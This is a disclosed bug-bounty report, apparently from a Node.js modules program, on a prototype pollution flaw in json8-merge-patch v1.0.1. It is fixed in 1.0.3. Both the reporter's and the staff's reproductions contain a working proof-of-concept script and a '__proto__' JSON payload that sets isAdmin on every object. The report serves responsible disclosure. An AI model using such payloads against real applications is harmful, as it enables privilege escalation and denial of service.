

5 [json8-merge-patch] Prototype Pollution

Share:     

TIMELINE

 gkmr submitted a report to [Node.js third-party modules](#). Sep 12th (2 ye

I would like to report a `Prototype Pollution` vulnerability in `json8-merge-patch`.  
The `apply` function fails to restrict access to prototypes of objects, allowing for modification of prototype behavior.

Module

**module name:** `json8-merge-patch`  
**version:** `v1.0.1`  
**npm page:** <https://www.npmjs.com/package/json8-merge-patch>

Module Description

JSON Merge Patch RFC 7396 toolkit for JavaScript.

Module Stats

Weekly downloads: `517`

Vulnerability

Vulnerability Description

The `apply` function fails to restrict access to prototypes of objects, allowing for modification of prototype behavior, which may allow obtaining sensitive information/DoS/RCE.

Steps To Reproduce:

1. Install `json8-merge-patch` module

```
npm i json8-merge-patch
```

2. create a file `poc.js` with content :

Code 222 Bytes [Wrap lines](#) [Copy](#) [Down](#)

```
1 let json8mergepatch = require("json8-merge-patch");
2 var obj = {}
3 console.log("Before : " + obj.isAdmin);
4 json8mergepatch.apply(obj, JSON.parse('{ "__proto__": { "isAdmin": true }}'));
5 console.log("After : " + obj.isAdmin);
```

3. Execute using: `node poc.js`

Output:

Before: undefined  
After: true

Supporting Material/References:

- OPERATING SYSTEM VERSION: Windows 10
- NODEJS VERSION: v12.18.3
- NPM VERSION: 6.14.6

Wrap up


- I contacted the maintainer to let them know: [Y]
- I opened an issue in the related repository: [Y]


Ref: <https://github.com/sonnyp/JSON8/issues/113>

Impact

Can result in sensitive information disclosure/DoS/RCE. (depends on implementation)

 gkmr updated the severity to `Critical (9.8)`. Sep 12th (2 ye

 [Node.js third-party modules staff](#) changed the report title from `Prototype Pollution[json8-merge-patch]` to `[json8-merge-patch] Prototype Pollution`. Sep 12th (2 ye

 gkmr posted a comment. Sep 13th (2 ye

The issue got resolved in 1.0.3.  
<https://github.com/sonnyp/JSON8/pull/114>  
<https://github.com/sonnyp/JSON8/pull/116>

Can I request a CVE for this?

 gkmr posted a comment. Sep 13th (2 ye

I verified that v1.0.1 is prone to prototype pollution using this slightly modified reproduction:

Code 250 Bytes Wrap lines Copy Download

```
1 let jsonMergepatch = require("json8-merge-patch");
2 var obj = {}
3 console.log("Before : " + obj.isAdmin);
4 jsonMergepatch.apply(obj, JSON.parse('{ "__proto__": { "isAdmin": true } }'));
5 var anotherObj = {};
6 console.log("After : " + anotherObj.isAdmin);
```

I also verified v1.0.3 is no longer vulnerable. I will resolve this report and request disclosure.

- marcinhoppe

Node.js third-party modules staff

added weakness "Modification of Assumed-Immutable Data (MAID)".

Sep 18th (2 ye
- marcinhoppe

Node.js third-party modules staff

updated the severity from Critical (9.8) to High (7.3).

Sep 18th (2 ye
- marcinhoppe

Node.js third-party modules staff

closed the report and changed the status to **Resolved**.

Sep 18th (2 ye
- marcinhoppe

Node.js third-party modules staff

requested to disclose this report.

Sep 18th (2 ye
- gkmr

posted a comment.

I reported this issue for a CVE, can I get a CVE for this issue?

Sep 18th (2 ye
- This report has been disclosed.

Oct 18th (2 ye
- marcinhoppe

Node.js third-party modules staff

changed the scope from **None** to **json8-merge-patch**.

Oct 20th (2 ye